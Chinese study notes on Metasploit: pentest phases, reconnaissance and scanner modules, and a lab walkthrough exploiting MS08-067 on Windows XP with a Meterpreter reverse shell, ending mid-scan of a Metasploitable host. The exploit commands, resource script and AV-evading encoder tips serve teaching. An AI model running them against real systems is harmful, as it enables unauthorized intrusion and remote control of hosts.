Metasploit Framework

Metasploit Framework

0. 渗透测试基础

0.1 PTES 中渗透测试阶段

  1. 前期交互阶段
    通常与客户组织讨论,确定渗透测试的范围和目标,走出全范围渗透测试的理想化愿景。

  2. 情报搜集阶段
    采用各种方法搜集将要攻击的客户组织的所有信息,确定在目标系统中实施了哪些安全防护机制。

  3. 威胁建模阶段
    使用情报搜集阶段所获取的信息,标识出目标系统可能存在的安全漏洞和弱点,确定最为有效的攻击方法。

  4. 漏洞分析阶段
    一旦确定最为可行的攻击方法后,考虑如何获取目标系统的访问权,并综合前面几个环节获得的信息,分析哪些攻击途径可行。

  5. 渗透攻击阶段
    最好在基本能确信特定渗透攻击能成功的基础上,才真正展开渗透攻击。进行漫无目的的渗透尝试后期待一个奇迹般的 shell 是痴心妄想。

  6. 后渗透攻击阶段
    从已经攻陷客户组织的一些系统或管理权限之后开始。
    以特定的系统为目标,识别出关键的基础设施,并寻找客户组织最具价值和尝试进行安全保护的信息和资产,演示出能够对客户组织造成最重要业务影响的攻击途径。

  7. 报告阶段
    使用报告文档来说明做了工作,如何做的,以及如何修复发展的漏洞与弱点。
    至少包含摘要、过程展示和技术发现这几个部分。

0.2 渗透测试类型

  1. 白盒测试
    拥有所有客户组织系统与网络环境的内部知识,可以在不需要害怕被阻断的情况下实施攻击。
    白盒测试最大问题在于无法有效地测试客户组织的应急响应程序,无法判断出他们的安全防护计划检测特定攻击的效率。

  2. 黑盒测试
    经由授权的黑河测试时设计成为模拟攻击者的入侵行为,在不了解客户组织大部分信息和知识的情况下实施的。
    黑盒测试可以用来测试内部安全团队检测和应对一次攻击的能力。

  3. 灰盒测试
    白盒测试和黑盒测试的组合。
    即便拥有明确的目标和访问凭证,也会对目标进行信息搜集以获取尽可能多的信息,尝试在无访问凭证下获取弱点。

1. Metasploit Framework

  • MSF 默认集成于 kali linux 之中
  • 使用 postgresql 数据库存储数据

1.1 专业术语

1.1.1 渗透攻击(exploit)

攻击者利用一个系统、应用或者服务中的安全漏洞,所进行的攻击行为。常见渗透攻击技术:缓冲区溢出、Web应用程序漏洞攻击(如 SQL 注入),及利用配置错误。

1.1.2 攻击载荷(payload)

目标系统被渗透攻击之后执行的代码。例如 反弹shell 是一种从目标主机到攻击主机创建网络连接,并提供 Windows 命令行 shell 的攻击载荷,而 bindshell 攻击载荷是在目标主机上将命令行 shell 绑定到一个打开的监听端口上,攻击者可以连接这些端口来取得 shell 交互。

1.1.3 shellcode

shellcode 是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode 通常以汇编语言编写。大多数情况下,目标系统执行了 shellcode 这组指令后,才会提供一个命令行 shell 或 Meterpreter shell。

1.1.4 模块(module)

Metasploit 中一个模块指 Metasploit 框架中所使用的一段软件代码组件。如 Metasploit 中渗透攻击模块(exploit module)、辅助模块(auxiliary module)。

1.1.5 监听器(Listener)

Metasploit 中监听器是用来等待连入网络连接的组件。如目标主机被渗透攻击后回连攻击主机主机上,监听器组件可以在攻击主机上等待这类系统来连接,并处理这些网络连接。

1.2 Metasploit 用户接口

1.2.1 MSF 终端

不区分大小写
MSF 终端(msfconsole)是目前 Metasploit 框架最为流行的用户接口。

  • 最流行的用户接口
  • 几乎可以使用 MSF 全部功能
  • 支持外部命令的执行
  • 启动方式
    1. 点击 msf 图标
    2. 终端命令:msfconsole

访问 MSF 终端的帮助文档,只需要敲入 help,并加上感兴趣的 metasploit 命令

  • help
  • help vulns
  • msfconsole -h

1.2.2 MSF 命令行

Metasploit 早期版本中,msfcli 命令行工具和 MSF 终端为 Metasploit 框架访问的两种截然不同的方式。
MSF 终端以一种给用户友好的方式来提供交互,msfcli 主要考虑对脚本处理和与其他命令行工具的互操作性。

msfcli 可以直接从命令行 shell 执行,并允许将其他工具的输出重定向至 msfcli 中,以及将 msfcli 输出重定向至其他命令行工具。

2015 年 1 月开始官方不再支持 msfcli 命令行,建议使用 MSF 终端的 ‘-x’ 选项替代。

比如进行 MS08-067 漏洞的渗透利用,可以采用如下命令

1
./msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run"

还可以充分利用 MSF 终端提供的资源脚本和命令化名(alias)等特性,编写自动化运行脚本 reverse_tcp.rc:

1
2
3
4
5
use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]
run

然后使用 MSF 终端 ‘-r’ 选项执行:

1
./msfconsole -r /scripts_path/reverse_tcp.rc

1.2.3 Armitage

一个完全交互式的图形化用户接口。

1.3 Metasploit 功能程序

Metasploit 功能程序是在某些特定场合下,对 Metasploit 框架中的一些特殊功能进行直接访问的接口。

1.3.1 MSF 攻击载荷生成器

攻击载荷生成器能允许生成 shellcode、可执行代码和其他类型东西,也可以让他们在框架之外的渗透代码中使用。

shellcode 可以生成包括 C、Javascript 等多种格式,每种输出格式在不同的场景中使用。如编写浏览器渗透代码,以 Javascript 语言方式输出的 shellcode 最合适。

Metasploit 早期版本提供了单独的 msfpayload 功能程序来进行 MSF 攻击载荷生成,在 2015 年后 msfpayload 已被弃用,使用集成攻击载荷生成和编码的 msfvenom 功能程序替代。

1
root@kali:~\# msfvenom -h

如果想了解攻击模块的配置选项,采用 payload-options 可以列出所必须和可选的选项列表:

1
root@kali:~\# msfvenom -p wondows/shell_reverse_tcp --payload-options

1.3.2 MSF 编码器

通过对原始攻击载荷进行编码的方式,来避免坏字符,以及逃避杀毒软件和 IDS 的检测。

Metasploit 中唯一一个具有 Excellent 等级的编码器:x86/shikata_ga_nai

1
2
# 查看可以的编码器及等级
msfvenom -l encoders

1.3.3 Nasm shell

Nasm_shell.rb 功能程序是了解汇编代码含义非常有用的工具。

2. MSF 架构

/usr/share/metasploit-framework

  • Rex
    • 基本功能库,用于完成日常基本任务,无需人工手动编码实现
    • 处理 socket 连接访问、协议应答(http/SSL/SMB等)
    • 编码转换(XOR、Base64、Unicode)
  • Msf::Core
    • 提供 Msf 的核心基本API,是框架的核心能力实现库
  • Msf::Base
    • 提供友好的 API 接口,便于模块调用的库
  • Plugin 插件
    • 连接和调用外部扩展功能的系统
  • Penetration Modules(/usr/share/metasploit-framework/modules/)
    • Exploits:利用系统漏洞进行攻击的动作(方法),此模块对应每一个具体漏洞的攻击方式(攻击流程)
    • Payload:成功 exploit 之后,真正在目标系统执行的代码或指令
      • singles:所有功能都放在一起的 payload,比较大
      • stagers:目标机内存有限,先传输较小的 payload 用于建立连接
      • stages:利用 stagers 建立的连接下载的后续 payload

      shellcode,获得目标机上执行 shell 的能力(正向/反向)

    • auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)(DoS)
    • encoders:对 payload 进行加密,躲避 AV 检查的模块
    • nops:提高 payload 稳定性及维持大小
    • post

3. 情报搜集

情报搜集的目的是获取渗透目标的准确信息。

没必要对搜集的信息设定限制,即使最初看起来毫无价值的数据,可能在后续工作中有用。

详细的记录是决定一次渗透测试成败的关键点。

3.1 被动信息搜集

在不接触到目标系统的情况下挖掘目标信息。

3.1.1 whois 查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ whois testfire.net

Domain Name: TESTFIRE.NET
Registry Domain ID: 8363973_DOMAIN_NET-VRSN
Registrar WHOIS Server: whois.corporatedomains.com
Registrar URL: http://cscdbs.com
Updated Date: 2020-07-19T05:07:07Z
Creation Date: 1999-07-23T13:52:32Z
Registry Expiry Date: 2021-07-23T13:52:32Z
Registrar: CSC Corporate Domains, Inc.
Registrar IANA ID: 299
Registrar Abuse Contact Email: domainabuse@cscglobal.com
Registrar Abuse Contact Phone: 8887802723
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: ASIA3.AKAM.NET
Name Server: EUR2.AKAM.NET
Name Server: EUR5.AKAM.NET
Name Server: NS1-206.AKAM.NET
Name Server: NS1-99.AKAM.NET
Name Server: USC2.AKAM.NET
Name Server: USC3.AKAM.NET
...

发现域名服务器由 AKAM.NET 提供,这是关于不能攻击未授权系统的典型案例。

使用 DNS 服务器的区域传送攻击以及其他类似的攻击,通常能获得一个网络内部及外部很多信息。

3.1.2 Netcraft

Netcraft(https://sitereport.netcraft.com/)是一个网页界面的工具,使用它能发现承载某个特定网站的服务器IP地址。

查明 testfire.net 的 IP 地址是 65.61.137.117 后,可以再做一次针对这个 IP 的 whois 查询。

$ whois 65.61.137.117
connect: Network is unreachable
whois 使用的 Whois 协议,可能无法代理

3.1.3 nslookup

利用 nslookup 来挖掘更多信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nslookup
> set type=mx
> testfire.net

Server: 10.0.0.1
Address: 10.0.0.1#53

Non-authoritative answer:
*** Can't find testfire.net: No answer

Authoritative answers can be found from:
testfire.net
origin = asia3.akam.net
mail addr = hostmaster.akamai.com
serial = 1366025606
refresh = 43200
retry = 7200
expire = 604800
minimum = 86400

从中可以看出邮件服务器的 DNS 记录指向 hostmaster.akamai.com,显然是第三方运维。

3.1.4 Google Hacking

依赖搜索引擎被动搜集目标站点信息的技术成为Google Hacking

对于 testfire.net 网站,可以用过 google 搜索引擎提供的搜索关键字 site 来将搜索目标限定在这一网站域名下
testfire.net 网站渗透记录

3.2 主动信息收集

3.2.1 使用 nmap 进行端口扫描

nmap 是最为流行的端口扫描工具,它集成在 Metasploit 中

  • 参数介绍
    • -sS 执行一次隐蔽的 TCP 扫描,默认此方式
    • -sU 隐蔽的 UDP 扫描
    • -Pn 不要使用 ping 命令预先判断主机是否存活,默认所有主机是存活状态
    • -A 尝试进行服务枚举和旗标获取,去版本 version
    • -oN/-oX/-oS/-oG 将normal、XML、s |<rIpt kIddi3和greable格式的扫描输出到给定的文件名。
    • -oA 同时输出三种主要格式

3.2.2 在 Metasploit 中使用数据库

Metasploit 支持 MySQL、PostgreSQL、SQLite3 数据库,默认 PostgreSQL。

msfconsole 内输入 db_ 再按 tab 能显示 msf 中 db 相关的命令:

db_connect db_export db_nmap db_remove db_status
db_disconnect db_import db_rebuild_cache db_save

启动数据库:

1
2
3
4
5
# 两种方式都可以
$ /etc/init.d/postgresql start
$ service postgresql start
msf > msfdb start # 启动 msfdb,若 db 服务没开则启动无效
msf > msfdb reinit # db 初始化

1. 将 nmap 输入的结果导入 metasploit

nmap -oX 参数可以将结果输出生 XML 格式文件

1
$ nmap =Pn -sS -A -oX Subnet1.xml 192.168.1.0/24

XML 文件生成后,使用 msf db_import命令将文件导入到数据库中,然后使用 msf hosts命令查看结果, hosts:显示数据库中所有已保存的主机信息

2. 高级 nmap 扫描技巧:TCP 空闲扫描

这种扫描能冒充另一台主机 IP,对目标进行更隐秘的扫描。

先要定位一台使用递增 IP 帧标识机制的空闲主机

  • IP 帧标识(IP ID):用于跟踪 IP 包的次序的一种技术
  • 空闲主机:该主机特定时间内不向网络发送数据包

可以使用 Metasploit 的 scanner/ip/ipidseq 模块来寻找满足 TCP 空闲扫描要求的空闲主机:

1
2
3
msf > use auxiliary/scanner/ip/ipidseq

msf > set RHOSTS 192.168.1.0/24

参数说明

RHOSTS : IP地址段(192.168.1.100-192.168.1.200)、CIDR(无类型毓间选路)地址快(192.168.1.0/24)、使用逗号分隔的多个CIDR地址快,以及每行包含一个 IP 地址的文本
THREADS : 设定扫描线程数。Windows 不要超过16, Unix 不要超过 128

获得空闲 IP 后,可在 nmap 中使用 -sI 参数指定空闲主机

1
$ nmap -PN -sI 192.168.1.100 192.168.1.200

3. 在 MSF 终端运行 nmap

Metasploit 中 集成的 nmap 使用的是 db_nmap 命令

默认会将扫描结果存储的 MSF 的数据库中

3.2.3 使用 Metasploit 进行端口扫描

跳板攻击:利用网络内部已经被攻陷的主机,将攻击数据路由到原本无法到达的目的地。

查看 Metasploit 框架提供的端口扫描工具:

1
2
3
4
5
6
7
8
9
10
11
12
msf > search postscan

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
3 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
4 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
7 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator

然后 use 相应的扫描模块进行扫描

3.3 针对性扫描

针对性扫描是指寻找目标网络中存在的已知可利用漏洞或能够轻松获取后门的特定操作系统、服务、软件以及配置缺陷。

扫描整个网络中所有漏洞后再攻击是难的,针对性扫描相对来说更常见。

3.3.1 SMB(服务器消息块) 协议扫描

利用 Metasploit 的 smb_version 模块来遍历一个网络,并获取系统的版本号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 > use auxiliary/scanner/smb/smb_version 
msf6 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_version) > set rhosts 10.0.0.28
rhosts => 10.0.0.28
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.0.0.28:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 10.0.0.28:445 - Host is running Windows XP SP3 (language:English) (name:SEU-A601A799D94) (workgroup:MSHOME)
[*] 10.0.0.28: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
1
2
3
4
5
6
msf6 > use auxiliary/scanner/smb/
use auxiliary/scanner/smb/impacket/dcomexec use auxiliary/scanner/smb/psexec_loggedin_users use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/smb/impacket/secretsdump use auxiliary/scanner/smb/smb_enum_gpp use auxiliary/scanner/smb/smb_lookupsid
use auxiliary/scanner/smb/impacket/wmiexec use auxiliary/scanner/smb/smb_enumshares use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/pipe_auditor use auxiliary/scanner/smb/smb_enumusers use auxiliary/scanner/smb/smb_uninit_cred
use auxiliary/scanner/smb/pipe_dcerpc_auditor use auxiliary/scanner/smb/smb_enumusers_domain use auxiliary/scanner/smb/smb_version

3.3.2 搜寻配置不当的 Microsoft SQL Server

实际上很多人不知道他们工作站上装有 MS SQL 服务器软件,因为它经常作为其他常用软件(如 Microsoft Visual Studio)安装的先决条件被自动地安装在系统上。

配置不当的 Microsoft SQL Server 通常是进入目标系统的第一个后门。

MS SQL 安装后,它默认监听在 TCP 端口 1433 上或使用随机的动态 TCP 端口。随机 TCP 端口只需要简单地对 UDP 1434 端口进行查询,便能获得随机的 TCP 端口。

Metasploit 有一个 mssql_ping 可以直接用。 mssql_ping 使用 UDP 协议。Metasploit 发现 MS SQL 服务器时,它会将所有能获取的服务器信息都显示出来,其中最为重要的是服务器监听的 TCP 端口。

1
2
3
4
5
6
7
8
9
10
11
msf6 > search mssql_ping
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/mssql/mssql_ping normal No MSSQL Ping Utility


msf6 > use auxiliary/scanner/mssql/mssql_ping
msf6 auxiliary(scanner/mssql/mssql_ping) > show options

扫描器不仅能定位 MSSQL 服务器地址,还能确定 MSSQL 实例名、服务器版本以及服务器监听的 TCP 端口。

1
2
3
msf6 > use auxiliary/scanner/mssql/mssql_
use auxiliary/scanner/mssql/mssql_hashdump use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login use auxiliary/scanner/mssql/mssql_schemadump

3.3.3 SSH 服务器扫描

SSH 安全仅指数据传输的加密,很多 SSH 的实现版本中均发现了安全漏洞。

1
2
3
4
5
6
7
8
msf6 > use auxiliary/scanner/ssh/
use auxiliary/scanner/ssh/apache_karaf_command_execution use auxiliary/scanner/ssh/libssh_auth_bypass
use auxiliary/scanner/ssh/cerberus_sftp_enumusers use auxiliary/scanner/ssh/ssh_enum_git_keys
use auxiliary/scanner/ssh/detect_kippo use auxiliary/scanner/ssh/ssh_enumusers
use auxiliary/scanner/ssh/eaton_xpert_backdoor use auxiliary/scanner/ssh/ssh_identify_pubkeys
use auxiliary/scanner/ssh/fortinet_backdoor use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/juniper_backdoor use auxiliary/scanner/ssh/ssh_login_pubkey
use auxiliary/scanner/ssh/karaf_login use auxiliary/scanner/ssh/ssh_version

3.3.4 FTP 扫描

FTP 是一种复杂且缺乏安全性的应用层协议。

在渗透测试工作中,总是应当对目标系统上运行的 FTP 服务器进行扫描、识别和查点。

1
2
3
4
msf6 > use auxiliary/scanner/ftp/
use auxiliary/scanner/ftp/anonymous use auxiliary/scanner/ftp/easy_file_sharing_ftp use auxiliary/scanner/ftp/konica_ftp_traversal
use auxiliary/scanner/ftp/bison_ftp_traversal use auxiliary/scanner/ftp/ftp_login use auxiliary/scanner/ftp/pcman_ftp_traversal
use auxiliary/scanner/ftp/colorado_ftp_traversal use auxiliary/scanner/ftp/ftp_version use auxiliary/scanner/ftp/titanftp_xcrc_traversal

可以先用auxiliary/scanner/ftp/ftp_version模块扫描是否存在FTP服务器,再使用auxiliary/scanner/ftp/anonymous模块检查是否允许匿名用户登录。

3.3.5 简单网管协议(SNMP)扫描

可访问的 SNMP 服务器能够泄露关于某特定系统相当多的信息,甚至会导致设备被远程攻陷。

1
2
3
4
5
6
7
8
9
10
msf6 > use auxiliary/scanner/snmp/
use auxiliary/scanner/snmp/aix_version use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/arris_dg950 use auxiliary/scanner/snmp/snmp_enum_hp_laserjet
use auxiliary/scanner/snmp/brocade_enumhash use auxiliary/scanner/snmp/snmp_enumshares
use auxiliary/scanner/snmp/cisco_config_tftp use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/cisco_upload_file use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/cnpilot_r_snmp_loot use auxiliary/scanner/snmp/snmp_set
use auxiliary/scanner/snmp/epmp1000_snmp_loot use auxiliary/scanner/snmp/ubee_ddw3611
use auxiliary/scanner/snmp/netopia_enum use auxiliary/scanner/snmp/xerox_workcentre_enumusers
use auxiliary/scanner/snmp/sbg6580_enum

可以使用为 SNMP 专门设计的 scanner/snmp/snmp_enum模块。

如果能够获取只读(RO)或读/写(RW)权限的团体字符串,将对从设备中提取信息发挥重要作用。

猜解出团体字符串后,SNMP(并非所有版本)可以允许做其管理范围内的任何事情。

3.4 编写自己的扫描器

Metasploit 框架拥有很多建立自定义扫描器所需的实用功能。

4. 漏洞扫描

漏洞扫描器通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统上存在的安全漏洞。

各种操作系统网络模块实现原理不同,因此对接收到的探测数据往往会有不同响应。通过响应可以确定操作系统版本,甚至确定补丁安装等级。

漏洞扫描器可以使用登录凭证登录到远程系统上。

漏洞扫描器能够根据扫描结果生成报告,对系统上经检测发现的安全漏洞进行描述。

漏洞扫描器会产生大量流量,因此通常不能隐秘进行。

漏洞扫描器通常结果包含许多误报,开发者通常宁可误报也不漏报。

扫描质量很大程度上取决于漏洞特征库。

4.1 基本的漏洞扫描

许多网络服务,比如 web、文件传输以及邮件等,一旦连接到服务有端口或发送特定指令,就可以获取旗标。
书中示例:

1
2
3
4
$ root@kali:~# nc 192.168.1.201 80
GET HTTP/1.1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1

返回信息表明端口80上运行的是 Microsoft-IIS/5.1 Web 服务器,可以查看漏洞扫描器上是否有对应漏洞。

4.2 Nexpose

Nexpose 是专门的漏洞扫描器产品。

Nexpose 有免费社区版和收费商业版。

4.2.1 在 MSF 控制台中运行 Nexpose

也可以单独安装 Nexpose,然后将结果导入到 Metasploit 中

使用 load Nexpose 命令在 msfconsole 中载入 Nexpose 插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf6 > load nexpose
msf6 > help

Nexpose Commands
================

Command Description
------- -----------
nexpose_activity Display any active scan jobs on the Nexpose instance
nexpose_command Execute a console command on the Nexpose instance
nexpose_connect Connect to a running Nexpose instance ( user:pass@host[:port] )
nexpose_disconnect Disconnect from an active Nexpose instance
nexpose_discover Launch a scan but only perform host and minimal service discovery
nexpose_dos Launch a scan that includes checks that can crash services and devices (caution)
nexpose_exhaustive Launch a scan covering all TCP ports and all authorized safe checks
nexpose_report_templates List all available report templates
nexpose_save Save credentials to a Nexpose instance
nexpose_scan Launch a Nexpose scan against a specific IP range and import the results
nexpose_site_devices List all discovered devices within a site
nexpose_site_import Import data from the specified site ID
nexpose_sites List all defined sites
nexpose_sysinfo Display detailed system information about the Nexpose instance

连接到所安装的 Nexpose 实例

1
2
3
4
5
msf6 > nexpose_connect -h
[*] Usage:
[*] nexpose_connect username:password@host[:port] <ssl-confirm || trusted_cert_file>
[*] -OR-
[*] nexpose_connect username password host port <ssl-confirm || trusted_cert_file>

5. 渗透攻击之旅

5.1 渗透攻击基础

  • show exploits:显示 Metasploit 框架中所有可用的渗透攻击模块。
  • show auxiliary:显示所有的辅助模块以及它们的用途(如扫描器、拒绝服务攻击工具、Fuzz测试器等等)。
  • show options:列出当前模块所需的各个参数,如果没有选择任何模块,则显示全局参数。
    • back:返回 Metasplot 上一个状态
    • set/uset:当前模块参数
    • setg/unsetg:全局参数
  • show payloads:显示与当前模块兼容的攻击载荷。一般会根据环境识别出可在一次特定的渗透攻击中使用的攻击载荷。
  • show targets:列出受到漏洞影响目标系统的类型。
    • 自动选择目标(Auto Targeting)通常会根据目标系统的指纹信息自动选择操作系统版本进行攻击。
    • 最好通过人工更加准确地识别出目标操作系统的相关信息,避免出发错误的、破坏性的攻击。
  • info:更加详细的显示模块信息。(info + 模块名,已选择某个模块可直接输入 into)
  • save:保存状态。既可以保存全局状态也可以保存某个模块状态。

5.2 第一次渗透攻击

靶机:Windows xp Home Edition Service Pack 3
利用安全漏洞:MS08-067

先不依赖漏洞扫描器使用手工方法来发现漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf6 > nmap -sT -A --script=smb-vuln-ms08-067 -P0 10.0.0.28
[*] exec: nmap -sT -A --script=smb-vuln-ms08-067 -P0 10.0.0.28

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 02:37 EDT
Nmap scan report for 10.0.0.28
Host is up (0.00040s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/1.0
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.70 seconds
  • -sT:隐秘的 TCP 连接扫描(Stealth TCP connect)
  • -sS:隐秘的 TCP Syn 扫描
  • -A:高级操作系统探测功能(advanced OS detection),对一个特定服务进行深入的旗标和指纹获取

攻击是否成功取决于目标主机的操作系统版本、安装的服务包(service pack)版本以及语言类型,同时还依赖于是否成功绕过了数据执行保护(DEP:Data Execution Prevention)。

DEP 是为了防御缓冲区溢出攻击而设计的,它将程序堆栈渲染为只读,以防止 shellcode 被恶意放置在堆栈区并执行。

下面开始实际的攻击过程:

  1. 在 Metasploit 框架中查找 MS08-067 攻击模块

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    msf6 > search ms08_067

    Matching Modules
    ================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption


    Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
  2. 使用 use 命令加载攻击模块

    1
    2
    msf6 > use exploit/windows/smb/ms08_067_netapi
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

    这攻击模块默认的攻击载荷为基于 Windows 系统的 Meterpreter reverse_tcp,这个载荷在攻击成功后,会从目标主机发起一个反弹连接,连接到 LHOST 中指定的 IP 地址。这种反弹连接可以绕过防火墙的入站流量保护或者穿透 NAT 网关。

  1. 设置目标操作系统类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    msf6 exploit(windows/smb/ms08_067_netapi) > show targets

    Exploit targets:

    Id Name
    -- ----
    0 Automatic Targeting
    1 Windows 2000 Universal
    2 Windows XP SP0/SP1 Universal
    3 Windows 2003 SP0 Universal
    4 Windows XP SP2 English (AlwaysOn NX)
    5 Windows XP SP2 English (NX)
    6 Windows XP SP3 English (AlwaysOn NX)
    ...

    msf6 exploit(windows/smb/ms08_067_netapi) > set TARGET 6
    TARGET => 6

    AlwaysOn NX:NX(No Execute),意思是不允许执行,即启动了 DEP 保护。Windows XP SP3 中 DEP 是默认启用的。

  2. 设置参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    msf6 exploit(windows/smb/ms08_067_netapi) > show options

    Module options (exploit/windows/smb/ms08_067_netapi):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 445 yes The SMB service port (TCP)
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST 10.0.0.29 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    6 Windows XP SP3 English (AlwaysOn NX)

    msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 10.0.0.28
    RHOST => 10.0.0.28
  3. 执行攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    msf6 exploit(windows/smb/ms08_067_netapi) > exploit

    [*] Started reverse TCP handler on 10.0.0.29:4444
    [*] 10.0.0.28:445 - Attempting to trigger the vulnerability...
    [*] Sending stage (175174 bytes) to 10.0.0.28
    [*] Meterpreter session 1 opened (10.0.0.29:4444 -> 10.0.0.28:1050) at 2021-07-03 02:51:09 -0400

    meterpreter > shell
    Process 960 created.
    Channel 1 created.
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\WINDOWS\system32>cd ..
    cd ..

    C:\WINDOWS>cd ..
    cd ..

    C:\>dir
    dir
    Volume in drive C has no label.
    Volume Serial Number is A851-3FA8

    Directory of C:\

    06/26/2021 08:50 AM 0 AUTOEXEC.BAT
    06/26/2021 08:50 AM 0 CONFIG.SYS
    06/25/2021 05:54 PM <DIR> Documents and Settings
    06/25/2021 05:56 PM <DIR> Program Files
    07/02/2021 04:26 AM 0 testtttt.txt
    06/25/2021 05:57 PM <DIR> WINDOWS
    3 File(s) 0 bytes
    3 Dir(s) 7,927,054,336 bytes free

    这次攻击返回了一个 recerse_tcp 方式的 Meterpreter 攻击载荷会话,此时可以用 session -l 命令查看远程运行的 Meterpreter 情况。session -l -v 查看详细信息。

5.3 攻击 Metasploitable 主机

  1. nmap 扫描

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    msf6 > nmap -sT -A -P0 10.0.0.31
    [*] exec: nmap -sT -A -P0 10.0.0.31

    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 03:23 EDT
